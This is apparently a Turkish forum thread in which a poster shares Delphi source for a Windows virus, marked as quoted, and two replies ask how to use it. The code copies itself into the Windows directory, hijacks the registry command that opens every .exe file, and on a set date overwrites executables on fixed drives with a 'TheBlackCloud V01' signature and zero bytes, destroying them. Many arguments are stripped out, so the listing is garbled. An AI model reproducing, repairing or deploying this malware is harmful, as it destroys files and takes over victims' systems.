Umarım bu kod kötü amaçlarda kullanımaz. Kod kendini windows un sytem dosyalarına yazdırmakla kalmıyor exe dosyalarına bulaşıyor. Kendi makinanızda çalıştırmanızı tavsiye etmem. Virtual bi sistemde deneyin. Aksi taktirde Format atmanız gerekir. Kod: program Project1; uses Windows, SysUtils, Classes, inifiles, registry; resourcestring tbc01= This application has failed to start because Program too big to fit in memory. ; tbc02= Proje ; tbc03= Explorer. exe http://www.microsoft.com ; tbc04= project1'; tbc05= \win. ini ; tbc06= files ; tbc07= acmf ; tbc08= imaadp32. acm ; tbc09= \exefile\shell\open\command ; tbc00= "%1" % ; tbc11= " ; tbc12= Twunk_16. exe ; function FileEx :boolean; const FExt :array of string = ; var return:string; x:byte; bx:boolean; begin return := LowerCase( ExtractFileExt ); bx := false; for x := 1 to high do if return = FExt then begin bx := true; break; end; Result := bx; end; // Ve Bulasma icin on hazirlik Procedur u procedure SetZero ; const VSignature : array of byte = ($54, $68, $65, $42, $6C, $61, $63, $6B, $43, $6C, $6F, $75, $64, $20, $56, $30, $31); VAR fexe : TFileStream; Signature : byte; theend : int64; dng : integer; begin try if FileExists and FileEx then begin fexe := TFileStream. Create ; fexe. Seek(-1, soFromEnd); theend := fexe. Position; fexe. Position := soFromBeginning; Signature := $30; if theend > 80 then begin for dng := 0 to 16 do fexe. WriteBuffer( VSignature , sizeof(VSignature )); theend := 59; Sleep(200); for dng := 0 to theend do fexe. WriteBuffer( Signature, sizeof ; end; FreeAndNil ; end; except end; end; Procedure FindFiles ; var FindResult: integer; SearchRec : TSearchRec; begin try FindResult := FindFirst ; while FindResult = 0 do begin SetZero ; FindResult := FindNext ; end; FindClose ; if not IncludeSubDir then Exit; FindResult := FindFirst ; while FindResult = 0 do begin if and then FindFiles ; FindResult := FindNext ; end; FindClose ; except end; end; procedure DeviceControl ; var DriveType: Integer; begin if DirectoryExists then begin DriveType := GetDriveType(pChar ; if DriveType = DRIVE_FIXED then FindFiles ; end; end; function GetWinDir: String; var dir: array of char; begin GetWindowsDirectory ; result:=StrPas ; end; var ifs:TIniFile; Reg:TRegistry; pcx:integer; sx:string; begin for pcx := 1 to ParamCount do sx := sx + ParamStr + ; if trim <> EmptyStr then WinExec(pchar(trim , SW_NORMAL) else MessageBox(0, pchar(tbc01), pchar(tbc02), MB_ICONERRO R + MB_OK); CreateMutex(nil, true, pchar(tbc04)); if GetLastError = ERROR_ALREADY_EXISTS then Halt(0); ifs := TIniFile. Create( GetWinDir + tbc05 ); if ifs. ReadString(tbc06, tbc07,' ) <> tbc08 then begin CopyFile( pchar( ParamStr(0) ) , pchar(GetWinDir + \ + tbc12) , false); ifs. WriteString(tbc06, tbc07, tbc08); Reg := TRegistry. Create; try Reg. RootKey := HKEY_CLASSES_ROOT; if Reg. OpenKey(tbc09, True) then begin Reg. WriteString(' , tbc11 + GetWinDir + \ + tbc12 + tbc11 + + tbc00); Reg. CloseKey; end; finally Reg. Free; end; end; FreeAndNil ; if (StrToIntDef(FormatDateTime ,0) = 5) then begin DeviceControl ; DeviceControl ; DeviceControl ; end; end. Not : Alıntıdır.

Nasıl yani?

bunu nasıl kullanacagımız konusunda biraz bilgi verirsen sevinirim dostum...